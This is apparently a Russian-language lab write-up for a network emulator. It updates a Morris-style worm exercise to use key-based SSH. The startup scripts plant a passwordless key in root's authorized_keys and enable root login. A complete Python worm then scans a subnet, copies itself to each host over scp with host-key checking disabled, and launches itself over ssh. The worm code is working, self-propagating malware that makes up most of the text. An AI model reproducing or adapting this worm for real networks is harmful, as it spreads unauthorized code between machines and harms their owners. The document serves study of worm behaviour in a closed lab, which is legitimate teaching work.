Morris worm update

В файле pc1.startup будем создавать директорию для хранения ssh ключа, затем будем генерировать ключ на основе алгоритма ed25519. Этот алгоритм цифровой подписи использует криптографию на эллиптических кривых. Он отличается высокой скоростью создания и проверки подписей, а также безопасностью и компактностью ключей по сравнению с RSA. Ключ генерируется без пароля (`-N ""`) для автоматизации. Затем необходимо скопировать публичный ключ в общую для всех узлов директорию.

```
ip address add 10.0.0.1/24 dev eth0
ip route add default via 10.0.0.254

mkdir -p /root/.ssh
if [ ! -f /root/.ssh/id_kathara ]; then
  ssh-keygen -t ed25519 -N "" -f /root/.ssh/id_ed25519
fi

cp /root/.ssh/id_ed25519.pub /shared/id_kathara_pc1.pub
```

В файле pc2.startup также создаем директорию для хранения ssh ключей, а также поддиректорию для хранения ключей, которым мы доверяем. Разрешаем вход root пользователям, запрещаем аутентификацию по паролям.

```
#!/bin/bash

ip address add 10.0.1.1/24 dev eth0
ip route add default via 10.0.1.254

mkdir -p /root/.ssh
touch /root/.ssh/authorized_keys

grep -q "$(cat /shared/id_kathara_pc1.pub)" /root/.ssh/authorized_keys
|| \
    cat /shared/id_kathara_pc1.pub >> /root/.ssh/authorized_keys

chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys

grep -q "^PermitRootLogin" /etc/ssh/sshd_config \
  && sed -i 's/^PermitRootLogin.*/PermitRootLogin yes/'
```

```
/etc/ssh/sshd_config \
  || echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

grep -q "^PasswordAuthentication" /etc/ssh/sshd_config \
  && sed -i 's/^PasswordAuthentication.*/PasswordAuthentication no/'
/etc/ssh/sshd_config \
  || echo "PasswordAuthentication no" >> /etc/ssh/sshd_config

/etc/init.d/ssh restart
```

Изменения также есть в файле worm.py. Теперь мы подключаемся без использования пароля, по ключам. Добавляется новая опция:

- `-o`: указывает, что далее будет передан параметр конфигурации.
- `StrictHostKeyChecking=no`: отключает строгую проверку. Если ключ сервера отсутствует в файле `known_hosts`, он будет добавлен автоматически.

```
import socket
import sys
import ipaddress
import subprocess
import threading
import time

PORT = 4000
SUBNET = "10.0.1.0/24"

WORM_PATH = "worm.py"
LOG_PATH = "/shared/worm.log"

test_s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);
test_s.connect(("8.8.8.8", 80))
IP = test_s.getsockname()[0]

password = "1234"

def log(msg):
    with open(LOG_PATH, "a") as f:
        f.write(msg + "\n")
    print(msg)

def scan():
    net = ipaddress.ip_network(SUBNET, strict=False)
    count = 0
```

```
    for ip in net.hosts():
        if count >= 10:
            break
        count += 1

        ip_str = str(ip)

        if (ip_str == IP):
            continue

        s = socket.socket()
        s.settimeout(0.5)
        try:
            s.connect((ip_str, PORT))
            log(f"[SCAN] {IP} {ip_str}: порт {PORT} - заражен")
        except OSError:
            try:
                subprocess.run(
                    [
                        "scp",
                        "-o", "StrictHostKeyChecking=no",
                        WORM_PATH,
                        f"root@{ip_str}:/tmp/{WORM_PATH}",
                    ],
                    check=True,
                )

                subprocess.Popen(
                    [
                        "ssh",
                        "-o", "StrictHostKeyChecking=no",
                        f"root@{ip_str}",
                        f"python3 /tmp/{WORM_PATH}",
                    ]
                )

                log(f"[SCAN] {IP} {ip_str}: порт {PORT} - здоров")
                log(f"[INFECT] {IP} {ip_str}: скопировали и запустили
червя")
            except subprocess.CalledProcessError:
                log(f"[ERROR] {IP} {ip_str}: не удалось заразить или
найти хост")
        finally:
            s.close()
```

```
def listen():
    s = socket.socket()
    s.bind(("0.0.0.0", PORT))
    s.listen(1)
    print(f"[LISTEN] Listening on port {PORT}...")
    while True:
        conn, addr = s.accept()
        print(f"[LISTEN] Connection from {addr}")
        conn.close()

if __name__ == "__main__":
    t = threading.Thread(target=listen, daemon=True)
    t.start()

    time.sleep(0.5)

    scan()
```